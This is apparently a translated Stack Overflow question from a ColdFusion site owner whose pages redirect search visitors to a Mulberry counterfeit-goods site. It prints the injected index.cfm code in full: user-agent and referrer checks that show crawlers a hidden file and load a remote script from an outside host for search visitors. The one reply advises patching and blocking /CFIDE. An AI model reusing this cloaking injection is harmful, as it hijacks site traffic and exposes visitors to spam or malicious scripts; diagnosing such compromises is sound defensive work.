【发布时间】:2013-11-28 10:36:01
【问题描述】:
当有人进行 google 搜索时,我们的一些coldfusion 网站会被重定向到mulberry 网站。有没有办法防止这种情况?他们一开始是怎么做的?看起来这段代码正在被插入到 index.cfm 中:
<cffunction name="isSpider" returntype="boolean">
<cfif reFindNoCase("(bot|crawl|spider|slurp|yahoo|sohu-search|lycos|robozil la)", cgi.http_user_agent)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cffunction name="isEngine" returntype="boolean">
<cfif reFindNoCase("(google|bing|aol|search|baidu|yahoo|sogou|soso|live|you dao|so)", cgi.http_referer)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cffunction name="isPage" returntype="boolean">
<cfif reFindNoCase("(index.|default.|main.)", cgi.script_name)>
<cfreturn true />
<cfelse>
<cfreturn false />
</cfif>
</cffunction>
<cfif isSpider() and isPage()>
<cfcontent reset="true" />
<cffile action="read" file="#expandPath("/images/log.gif")#" variable="tpl" />
<cfoutput>#tpl#</cfoutput>
<cfabort />
</cfif>
<cfif isEngine() and isPage()>
<cfcontent reset="true" />
<script src="http://www.shopsnapbackhatus.com/jie/mulberry.gif" type="text/javascript" charset="utf-8"></script>
<cfabort />
</cfif>
【问题讨论】:
-
这不是一个编程问题,对于 SO 来说是题外话。但是,为了防止它,您应该从安装 Adobe 提供的修补程序开始,并阻止所有/大部分 /CFIDE 通过网络访问。还有很多事情要做 - 查找 Charlie Arehart 的网站,您会发现一大堆信息。
标签: redirect coldfusion code-injection